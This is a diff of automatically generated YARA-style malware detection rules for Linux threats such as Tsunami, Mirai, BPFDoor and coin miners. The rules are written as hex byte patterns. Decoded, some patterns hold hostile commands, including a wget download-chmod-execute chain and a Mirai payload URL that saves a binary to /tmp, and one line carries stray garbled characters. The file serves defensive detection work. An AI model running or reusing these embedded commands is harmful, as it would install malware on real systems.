6b 65 79 72 69 6e 67 5f 6c 69 73 74 5f 6f 76 65 72 77 72 69 74 65 5f 70 } //21539 - $a_6f_1 = {65 01 00 10 01 67 65 74 5f 6b 65 79 72 69 6e 67 5f 6c 65 61 6b 01 00 0d 01 73 70 72 61 79 5f 6d 73 67 5f 6d 73 67 01 00 0c 01 73 70 72 61 79 5f 6d 71 75 65 75 65 00 00 8c 8e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 48 69 6c 64 65 67 61 72 64 2e 41 21 4d 54 42 00 01 00 0e 00 25 73 2f 2e 74 } //29301 - $a_65_2 = {63 6f 6e 66 01 00 0c 00 73 73 68 2e 74 6d 61 74 65 2e 69 6f 01 00 0d 00 65 74 63 2f 74 6d 75 78 2e 63 6f 6e 66 01 00 17 00 2d 61 43 5d 20 5b 2d 74 20 74 61 72 67 65 74 2d 73 65 73 73 69 6f 6e 01 00 0f 00 6d 6f 6e 69 74 6f 72 2d 73 69 6c 65 6e 63 65 00 00 8c 90 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 47 64 62 53 65 72 76 65 } //24941 - $a_62_3 = {67 67 65 72 00 02 00 0e 80 01 67 64 62 2f 67 64 62 73 65 72 76 65 72 2f 02 00 10 80 01 67 64 62 5f 61 67 65 6e 74 5f 74 72 61 63 65 5f 02 00 0a 81 01 47 44 42 73 65 72 76 65 72 20 02 00 0e 80 01 47 4e 55 20 67 64 62 73 65 72 76 65 72 20 02 00 1a 80 01 67 64 62 73 65 72 76 65 72 20 69 73 20 66 72 65 65 } //17522 - condition: - ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*29301+(#a_65_2 & 1)*24941+(#a_62_3 & 1)*17522) >=3 - -} -rule _InfrastructureShared_20787{ +rule _InfrastructureShared_22038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 48 69 6c 64 65 67 61 72 64 2e 41 21 4d 54 42 00 01 00 0e 00 25 73 2f 2e 74 6d 61 74 65 2e 63 6f 6e 66 01 00 0c 00 73 73 68 2e 74 6d 61 74 65 2e 69 6f 01 00 0d 00 65 74 63 2f 74 6d 75 } //16675 - $a_6f_1 = {66 01 00 17 00 2d 61 43 5d 20 5b 2d 74 20 74 61 72 67 65 74 2d 73 65 73 73 69 6f 6e 01 00 0f 00 6d 6f 6e 69 74 6f 72 2d 73 69 6c 65 6e 63 65 00 00 8c 90 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 47 64 62 53 65 72 76 65 72 44 65 62 75 67 67 65 72 00 02 00 0e 80 01 67 64 62 2f } //11896 - $a_73_2 = {72 76 65 72 2f 02 00 10 80 01 67 64 62 5f 61 67 65 6e 74 5f 74 72 61 63 65 5f 02 00 0a 81 01 47 44 42 73 65 72 76 65 72 20 02 00 0e 80 01 47 4e 55 20 67 64 62 73 65 72 76 65 72 20 02 00 1a 80 01 67 64 62 73 65 72 76 65 72 20 69 73 20 66 72 65 65 20 73 6f 66 74 77 61 72 65 00 00 8c 90 00 00 03 } //25703 + $a_6f_1 = {66 01 00 17 00 2d 61 43 5d 20 5b 2d 74 20 74 61 72 67 65 74 2d 73 65 73 73 69 6f 6e 01 00 0f 00 6d 6f 6e 69 74 6f 72 2d 73 69 6c 65 6e 63 65 00 00 8c 90 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 42 50 46 44 6f 6f 72 2e 48 21 4d 54 42 00 01 00 2b 01 40 } //11896 + $a_48_2 = {c6 8a 16 41 01 d0 45 0f b6 d8 49 01 c3 45 8a 33 44 88 36 41 88 13 02 16 0f b6 d2 8a 14 10 41 30 14 3a 48 ff c7 01 00 32 01 f3 0f 1e fa 41 57 41 56 41 55 49 89 d5 41 54 49 89 f4 55 31 ed 53 48 83 ec 18 48 8b 06 48 8b 1d 41 32 00 00 89 7c 24 0c 48 89 05 7e 34 00 00 49 89 df 00 00 8c 90 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 47 64 62 53 65 72 76 65 72 44 65 62 75 67 67 65 72 00 02 00 0e 80 01 67 64 62 2f 67 64 62 73 65 72 76 65 72 2f 02 00 10 80 01 67 64 62 5f 61 67 65 6e 74 5f 74 72 61 63 65 5f 02 00 0a 81 01 47 44 42 73 65 72 76 65 72 20 02 00 0e 80 01 47 4e 55 20 67 64 62 73 65 72 76 65 72 20 02 00 1a 80 01 67 64 62 73 65 72 76 65 72 20 69 73 20 66 72 65 65 20 73 6f 66 74 77 61 72 65 00 00 8c 90 00 00 03 } //-18929 $a_41_4 = {46 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 4b 75 62 73 70 6c 6f 74 2e 41 21 4d 54 42 00 01 00 1e 00 } //8448 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11896+(#a_73_2 & 1)*25703+(#a_41_4 & 1)*8448) >=5 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11896+(#a_48_2 & 1)*-18929+(#a_41_4 & 1)*8448) >=5 } -rule _InfrastructureShared_20788{ +rule _InfrastructureShared_22039{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 42 50 46 44 6f 6f 72 2e 48 21 4d 54 42 00 01 00 2b 01 40 0f b6 f6 48 01 c6 8a 16 41 01 d0 45 0f b6 d8 49 01 c3 45 8a 33 44 88 36 41 88 13 02 16 0f b6 d2 8a 14 10 } //21539 + $a_3a_1 = {ff c7 01 00 32 01 f3 0f 1e fa 41 57 41 56 41 55 49 89 d5 41 } //12353 + condition: + ((#a_4c_0 & 1)*21539+(#a_3a_1 & 1)*12353) >=2 + +} +rule _InfrastructureShared_22040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 05 00 21 " @@ -273723,7 +289619,7 @@ rule _InfrastructureShared_20788{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*384+(#a_4b_2 & 1)*30837+(#a_01_3 & 1)*2+(#a_00_4 & 1)*1) >=2 } -rule _InfrastructureShared_20789{ +rule _InfrastructureShared_22041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " @@ -273736,7 +289632,7 @@ rule _InfrastructureShared_20789{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*12148+(#a_5f_2 & 1)*24946+(#a_65_3 & 1)*27756) >=3 } -rule _InfrastructureShared_20790{ +rule _InfrastructureShared_22042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273748,7 +289644,7 @@ rule _InfrastructureShared_20790{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*28257+(#a_61_2 & 1)*25633) >=4 } -rule _InfrastructureShared_20791{ +rule _InfrastructureShared_22043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -273759,7 +289655,7 @@ rule _InfrastructureShared_20791{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26414) >=1 } -rule _InfrastructureShared_20792{ +rule _InfrastructureShared_22044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -273772,33 +289668,46 @@ rule _InfrastructureShared_20792{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*11376+(#a_6f_2 & 1)*29281+(#a_74_3 & 1)*270) >=2 } -rule _InfrastructureShared_20793{ +rule _InfrastructureShared_22045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 52 61 64 61 72 43 6f 6e 74 72 6f 6c 2e 41 21 64 68 61 00 01 00 0c 01 52 61 64 61 72 43 6f 6e 74 72 6f 6c 01 00 1b 01 63 6f 6d 6d 6f 6e 2f 61 67 65 6e 74 61 64 6d 69 6e 2f 61 } //16675 剅䠺捡呫潯㩬楌畮⽸慒慤䍲湯牴汯䄮搡慨Āఀ刁摡牡潃瑮潲Ŭᬀ持浯潭⽮条湥慴浤湩愯 $a_74_1 = {63 6f 6c 01 00 1a 01 63 6f 6d 6d 6f 6e 2f 6f 70 65 72 61 74 69 6f 6e 2f 6f 70 72 6f 74 6f 63 6f 6c 01 00 0e 01 75 74 69 6c 69 74 69 65 73 2f 69 6c 67 72 00 00 8c 93 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 54 73 75 6e 61 6d 69 2e 49 21 4d 54 42 00 01 00 3e 02 63 64 20 2f 74 6d 70 2f 3b } //29296 - $a_65_2 = {20 68 74 74 70 3a 2f 2f 90 02 15 2f 90 02 05 3b 20 63 68 6d 6f 64 20 37 37 37 20 90 02 05 3b 20 73 68 20 90 02 05 3b 20 72 6d 20 2d 72 66 90 00 01 00 09 01 53 54 44 20 46 6c 6f 6f 64 01 00 09 01 55 44 50 20 46 6c 6f 6f 64 01 00 08 01 52 65 6d 61 69 74 65 6e 00 00 8c 94 00 00 01 00 01 00 02 00 21 23 41 4c 46 } //30496 - $a_3a_3 = {72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 57 65 6c 6c 4d 61 69 6c 2e 58 21 64 68 61 00 01 00 2f 03 43 3a 2f 53 65 72 76 65 72 2f 4d 61 69 6c 2f 41 70 70 5f 44 61 74 61 2f 54 65 6d 70 2f 90 02 20 2f 73 72 63 2f 90 02 20 2e 67 6f 00 00 90 00 01 00 30 03 } //17744 + $a_65_2 = {20 68 74 74 70 3a 2f 2f 90 02 15 2f 90 02 05 3b 20 63 68 6d 6f 64 20 37 37 37 20 90 02 05 3b 20 73 68 20 90 02 05 3b 20 72 6d 20 2d 72 66 90 00 01 00 09 01 53 54 44 20 46 6c 6f 6f 64 01 00 09 01 55 44 50 20 46 6c 6f 6f 64 01 00 08 01 52 65 6d 61 69 74 65 6e 00 00 8c 93 00 00 14 00 14 00 04 00 21 23 41 4c 46 } //30496 + $a_3a_3 = {72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 56 61 6e 74 61 67 65 53 74 61 74 65 2e 41 21 64 68 61 00 05 00 0e 01 23 70 6c 75 67 69 6e 20 3d 20 63 6f 6d 2e 05 00 10 01 2f 70 72 6f 63 2f 25 75 2f 6f 6f 6d 5f 61 64 6a 05 00 0d 01 2f 70 72 6f 63 2f 25 64 2f } //17744 condition: ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29296+(#a_65_2 & 1)*30496+(#a_3a_3 & 1)*17744) >=4 } -rule _InfrastructureShared_20794{ +rule _InfrastructureShared_22046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 54 73 75 6e 61 6d 69 2e 49 21 4d 54 42 00 01 00 3e 02 63 64 20 2f 74 6d 70 2f 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 90 02 15 2f 90 02 05 3b 20 63 68 6d 6f 64 20 37 37 37 20 90 02 } //16675 $a_73_1 = {20 90 02 05 3b 20 72 6d 20 2d 72 66 90 00 01 00 09 01 53 54 44 20 46 6c 6f 6f 64 01 00 09 01 55 } //15109 - $a_46_2 = {6f 6f 64 01 00 08 01 52 65 6d 61 69 74 65 6e 00 00 8c 94 00 00 01 00 01 00 02 00 21 23 41 4c 46 } //20548 - $a_3a_3 = {72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 57 65 6c 6c 4d 61 69 6c 2e 58 21 64 68 61 00 01 00 2f 03 43 3a 2f 53 65 72 76 65 72 2f 4d 61 69 6c 2f 41 70 70 5f 44 61 74 61 2f 54 65 6d 70 2f 90 02 20 2f 73 72 63 2f 90 02 20 2e 67 6f 00 00 90 00 01 00 30 03 } //17744 + $a_46_2 = {6f 6f 64 01 00 08 01 52 65 6d 61 69 74 65 6e 00 00 8c 93 00 00 14 00 14 00 04 00 21 23 41 4c 46 } //20548 + $a_3a_3 = {72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 56 61 6e 74 61 67 65 53 74 61 74 65 2e 41 21 64 68 61 00 05 00 0e 01 23 70 6c 75 67 69 6e 20 3d 20 63 6f 6d 2e 05 00 10 01 2f 70 72 6f 63 2f 25 75 2f 6f 6f 6d 5f 61 64 6a 05 00 0d 01 2f 70 72 6f 63 2f 25 64 2f } //17744 condition: ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*15109+(#a_46_2 & 1)*20548+(#a_3a_3 & 1)*17744) >=4 } -rule _InfrastructureShared_20795{ +rule _InfrastructureShared_22047{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,14 00 14 00 04 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 56 61 6e 74 61 67 65 53 74 61 74 65 2e 41 21 64 68 61 00 05 00 0e 01 23 70 6c 75 67 69 6e 20 3d 20 63 6f 6d 2e 05 00 10 01 2f 70 72 6f 63 2f 25 75 2f 6f 6f 6d 5f 61 64 6a 05 00 0d } //16675 + $a_72_1 = {63 2f 25 64 2f 6d 61 70 73 05 00 27 01 74 61 72 20 2d 63 66 20 2f 68 6f 6d 65 2f 72 75 6e 74 69 6d 65 2f 73 61 6d 62 61 5f 75 70 67 72 61 64 65 2e 74 61 72 00 00 8c 94 00 00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 57 65 6c 6c 4d 61 69 6c 2e 58 21 64 68 61 00 01 00 2f 03 43 3a 2f 53 65 72 76 } //12033 + $a_4d_2 = {69 6c 2f 41 70 70 5f 44 61 74 61 2f 54 65 6d 70 2f 90 02 20 2f 73 72 63 2f 90 02 20 2e 67 6f 00 00 90 00 01 00 30 03 43 3a 5c 53 65 72 76 65 } //29285 + $a_61_3 = {6c 5c 41 70 70 5f 44 61 74 61 5c 54 65 6d 70 5c 90 02 20 5c 73 72 63 5c 90 02 20 47 6f 20 63 6d 64 90 00 00 00 8c 95 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 47 61 66 67 79 74 2e 43 4f } //23666 + condition: + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*12033+(#a_4d_2 & 1)*29285+(#a_61_3 & 1)*23666) >=20 + +} +rule _InfrastructureShared_22048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -273808,7 +289717,7 @@ rule _InfrastructureShared_20795{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20796{ +rule _InfrastructureShared_22049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -273819,7 +289728,7 @@ rule _InfrastructureShared_20796{ ((#a_46_0 & 1)*16675+(#a_88_2 & 1)*72) >=2 } -rule _InfrastructureShared_20797{ +rule _InfrastructureShared_22050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273827,28 +289736,40 @@ rule _InfrastructureShared_20797{ $a_4c_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 4d 75 6e 63 68 6b 69 6e 2e 41 21 4d 54 42 00 01 00 14 01 2f 73 63 72 69 70 74 73 2f 73 6d 62 5f 65 78 65 63 2e 70 79 01 00 1c 01 62 69 6e 2f 63 6f 6e 74 72 6f 6c 6c 65 } //21539 $a_72_1 = {2f 70 72 6f 67 72 61 6d 2e 72 01 00 0f 01 63 6f 6e 74 72 6f 6c 6c 65 72 3a 3a 73 6d 62 01 00 1c 01 4e 6f 20 70 61 79 6c 6f 61 64 20 63 6f 6e 66 69 67 73 20 70 72 6f 76 69 64 65 64 21 00 00 8c 95 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 4e 53 41 5f 46 42 49 2f 41 50 54 5f 41 50 54 32 38 5f 64 72 6f 76 6f 72 75 62 5f 6c 69 62 72 61 } //12146 $a_61_2 = {64 5f 75 6e 69 71 75 65 5f 73 74 00 01 00 04 81 01 50 6f 63 6f 01 00 04 81 01 4a 73 6f 6e 01 00 07 81 01 4f 70 65 6e 53 53 4c 01 00 08 81 01 63 6c 69 65 6e 74 69 64 01 00 0a 81 01 2d 2d 2d 2d 2d 42 45 47 49 4e 01 00 08 81 01 2d 2d 2d 2d 2d 45 4e 44 01 00 06 81 01 74 75 6e 6e 65 6c 00 } //31090 - $a_00_3 = {00 06 00 06 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 69 6e 4d 69 6e 65 72 2e 41 46 00 01 00 08 00 6d 69 6e 65 63 6f 69 6e 01 00 16 00 2f 74 6d 70 2f 63 67 6d 69 6e 65 72 2d 75 73 62 2d 25 64 2d 25 64 01 00 0b 00 6b 69 6c 6c 5f 6d 69 6e 69 6e 67 01 00 15 00 63 67 6d 69 6e 65 72 20 76 65 72 73 69 6f 6e 20 33 2e 38 2e 35 01 00 0e 00 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 01 00 11 00 5b 43 5d 67 6d 69 6e 65 72 20 72 65 73 74 61 72 74 00 } //-29696 + $a_00_3 = {00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4c 49 21 4d 54 42 00 01 00 10 01 63 61 6d 65 6c 62 6f 61 74 2e 6e 2d 65 2e 6b 72 01 00 09 01 75 64 70 62 79 70 61 73 73 01 00 11 01 72 30 30 74 73 33 63 2d 6f 77 6e 65 64 2d 79 6f 75 01 00 32 01 74 74 70 3a 2f 2f 75 6e 6a 69 70 72 6f 78 79 2e 70 2d 65 2e 6b 72 3a 36 39 36 39 2f 62 69 6e 73 2f 78 38 36 20 2d 4f 20 2f 74 6d 70 2f 2e 75 6e 6a 69 00 } //-29696 condition: ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*12146+(#a_61_2 & 1)*31090+(#a_00_3 & 1)*-29696) >=4 } -rule _InfrastructureShared_20798{ +rule _InfrastructureShared_22051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_46_0 = {59 32 56 3a 4e 53 41 5f 46 42 49 2f 41 50 54 5f 41 50 54 32 38 5f 64 72 6f 76 6f 72 75 62 5f 6c 69 62 72 61 72 79 5f 61 6e 64 5f 75 6e 69 71 75 65 5f 73 74 00 01 00 04 81 01 50 6f 63 6f 01 00 04 81 01 4a 73 6f 6e 01 00 07 81 01 } //16675 - $a_6e_1 = {53 4c 01 00 08 81 01 63 6c 69 65 6e 74 69 64 01 00 0a 81 01 2d 2d 2d 2d 2d 42 45 47 49 4e 01 00 08 81 01 2d 2d 2d 2d 2d 45 4e 44 01 00 06 81 01 74 75 6e 6e 65 6c 00 00 8c 96 00 00 06 00 06 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 69 6e 4d 69 6e 65 72 2e 41 46 00 01 00 08 00 6d 69 6e 65 63 6f } //28751 - $a_00_2 = {16 } //28265 - $a_6d_3 = {2f 63 67 6d 69 6e 65 72 2d 75 73 62 2d 25 64 2d 25 64 01 00 0b 00 6b 69 6c 6c 5f 6d 69 6e 69 6e 67 01 00 15 00 63 67 6d 69 6e 65 72 20 76 65 72 73 69 6f 6e 20 33 2e 38 2e 35 01 00 0e 00 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 01 00 11 00 5b 43 5d 67 6d 69 6e 65 72 20 72 65 73 74 61 72 74 00 00 8c 96 00 00 14 00 14 00 04 00 21 23 41 4c 46 50 45 } //12032 - $a_72_4 = {6a 61 6e 3a 4c 69 6e 75 78 2f 42 72 69 67 68 74 43 6f 6e 76 65 72 74 2e 41 00 05 00 15 01 57 61 69 74 20 61 20 6e 65 77 20 63 6f 6e 6e 65 63 74 69 6f 6e 05 00 17 01 61 63 63 65 70 74 20 61 20 6e 65 77 20 63 6f 6e 6e 65 63 74 69 6f 6e 05 00 15 01 72 65 } //14930 - $a_65_5 = {6f 74 65 4d 73 67 54 3a 72 65 63 76 20 30 05 00 17 01 73 65 74 20 72 65 75 73 65 61 64 64 72 20 6f 70 74 20 65 72 72 6f 72 00 00 8c 97 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 5a 75 6f 72 61 74 2e } //30307 - $a_68_6 = {00 01 00 23 01 2f 74 6d 70 2f 2e 5f 73 6f 63 6b 73 5f 72 65 6c 61 79 5f 70 72 6f 63 5f 73 6c 65 5f 73 61 76 2e 70 69 64 01 00 11 01 73 69 6e 67 6c 65 5f 69 6e 73 74 61 6e 63 65 28 29 01 00 2c 01 74 68 69 73 20 70 72 6f 63 65 73 73 20 69 73 20 72 75 6e 6e 69 6e 67 2c 20 6e 65 65 64 6e 27 74 20 72 65 } //8513 + $a_6e_1 = {53 4c 01 00 08 81 01 63 6c 69 65 6e 74 69 64 01 00 0a 81 01 2d 2d 2d 2d 2d 42 45 47 49 4e 01 00 08 81 01 2d 2d 2d 2d 2d 45 4e 44 01 00 06 81 01 74 75 6e 6e 65 6c 00 00 8c 96 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4c 49 21 4d 54 42 00 01 } //28751 + $a_63_2 = {6d } //4096 m + $a_6f_3 = {74 2e 6e 2d 65 2e 6b 72 01 00 09 01 75 64 70 62 79 70 61 73 73 01 00 11 01 72 30 30 74 73 33 63 2d 6f 77 6e 65 64 2d 79 6f 75 01 00 32 01 74 74 70 3a 2f 2f 75 6e 6a 69 70 72 6f 78 79 2e 70 2d 65 2e 6b 72 3a 36 39 36 39 2f 62 69 6e 73 2f 78 38 36 20 2d 4f 20 2f 74 6d 70 2f 2e 75 6e 6a 69 00 00 } //27749 + $a_00_5 = {06 00 21 23 50 55 } //6 + $a_6c_6 = {63 6b 3a 43 6f 69 6e 4d 69 6e 65 72 2e 41 46 00 01 00 08 00 6d 69 6e 65 63 6f 69 6e 01 00 16 00 2f 74 6d 70 2f 63 67 6d 69 6e 65 72 2d 75 73 62 2d 25 64 2d 25 64 01 00 0b 00 6b 69 6c 6c 5f 6d 69 6e } //14913 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28751+(#a_00_2 & 1)*28265+(#a_6d_3 & 1)*12032+(#a_72_4 & 1)*14930+(#a_65_5 & 1)*30307+(#a_68_6 & 1)*8513) >=7 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28751+(#a_63_2 & 1)*4096+(#a_6f_3 & 1)*27749+(#a_00_5 & 1)*6+(#a_6c_6 & 1)*14913) >=7 } -rule _InfrastructureShared_20799{ +rule _InfrastructureShared_22052{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4c 49 21 4d 54 42 00 01 00 10 01 63 61 6d 65 6c 62 6f 61 74 2e 6e 2d 65 2e 6b 72 01 00 09 01 75 64 70 62 79 70 61 73 73 01 00 11 01 72 30 30 74 } //21539 + $a_2d_1 = {77 6e 65 64 2d 79 6f 75 01 00 32 01 74 74 70 3a 2f 2f 75 6e 6a 69 70 72 6f 78 79 2e 70 2d 65 2e 6b 72 3a 36 39 36 39 2f 62 69 6e 73 2f 78 38 36 20 2d 4f 20 2f 74 6d 70 2f 2e 75 6e 6a 69 00 00 8c 96 00 00 06 00 06 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 69 6e 4d 69 6e 65 72 2e 41 46 00 } //13171 + $a_00_2 = {6d 69 6e 65 63 6f 69 6e } //1 minecoin + $a_00_3 = {2f 74 6d 70 2f 63 67 6d 69 6e 65 72 2d 75 73 62 2d 25 64 2d 25 64 } //1 /tmp/cgminer-usb-%d-%d + condition: + ((#a_4c_0 & 1)*21539+(#a_2d_1 & 1)*13171+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} +rule _InfrastructureShared_22053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " @@ -273863,7 +289784,7 @@ rule _InfrastructureShared_20799{ ((#a_41_0 & 1)*20515+(#a_69_1 & 1)*29285+(#a_69_2 & 1)*25445+(#a_74_3 & 1)*29295+(#a_27_4 & 1)*25701+(#a_69_5 & 1)*14906) >=6 } -rule _InfrastructureShared_20800{ +rule _InfrastructureShared_22054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,14 00 14 00 04 00 21 " @@ -273875,7 +289796,7 @@ rule _InfrastructureShared_20800{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*28270+(#a_70_3 & 1)*29743) >=20 } -rule _InfrastructureShared_20801{ +rule _InfrastructureShared_22055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -273886,7 +289807,7 @@ rule _InfrastructureShared_20801{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25964) >=3 } -rule _InfrastructureShared_20802{ +rule _InfrastructureShared_22056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -273898,7 +289819,7 @@ rule _InfrastructureShared_20802{ ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*14962+(#a_6f_2 & 1)*28767) >=3 } -rule _InfrastructureShared_20803{ +rule _InfrastructureShared_22057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -273912,7 +289833,7 @@ rule _InfrastructureShared_20803{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*24931+(#a_65_2 & 1)*24950+(#a_57_3 & 1)*28257+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_20804{ +rule _InfrastructureShared_22058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -273925,7 +289846,7 @@ rule _InfrastructureShared_20804{ ((#a_4c_0 & 1)*21539+(#a_6d_1 & 1)*7424+(#a_61_2 & 1)*26465+(#a_5f_4 & 1)*3584) >=5 } -rule _InfrastructureShared_20805{ +rule _InfrastructureShared_22059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 21 " @@ -273940,7 +289861,7 @@ rule _InfrastructureShared_20805{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26982+(#a_2f_2 & 1)*25956+(#a_6f_3 & 1)*21562+(#a_6f_4 & 1)*12144+(#a_01_5 & 1)*25963) >=3 } -rule _InfrastructureShared_20806{ +rule _InfrastructureShared_22060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273953,7 +289874,7 @@ rule _InfrastructureShared_20806{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_99_3 & 1)*0) >=4 } -rule _InfrastructureShared_20807{ +rule _InfrastructureShared_22061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 05 00 21 " @@ -273965,7 +289886,7 @@ rule _InfrastructureShared_20807{ ((#a_54_0 & 1)*18467+(#a_02_3 & 1)*1+(#a_80_4 & 1)*1) >=1 } -rule _InfrastructureShared_20808{ +rule _InfrastructureShared_22062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " @@ -273980,7 +289901,7 @@ rule _InfrastructureShared_20808{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*12136+(#a_65_2 & 1)*12133+(#a_4c_3 & 1)*8993+(#a_33_4 & 1)*25911+(#a_34_5 & 1)*13877) >=5 } -rule _InfrastructureShared_20809{ +rule _InfrastructureShared_22063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273993,7 +289914,7 @@ rule _InfrastructureShared_20809{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25902+(#a_65_2 & 1)*288+(#a_00_3 & 1)*-29696) >=4 } -rule _InfrastructureShared_20810{ +rule _InfrastructureShared_22064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -274005,7 +289926,7 @@ rule _InfrastructureShared_20810{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*12595+(#a_39_2 & 1)*25136) >=3 } -rule _InfrastructureShared_20811{ +rule 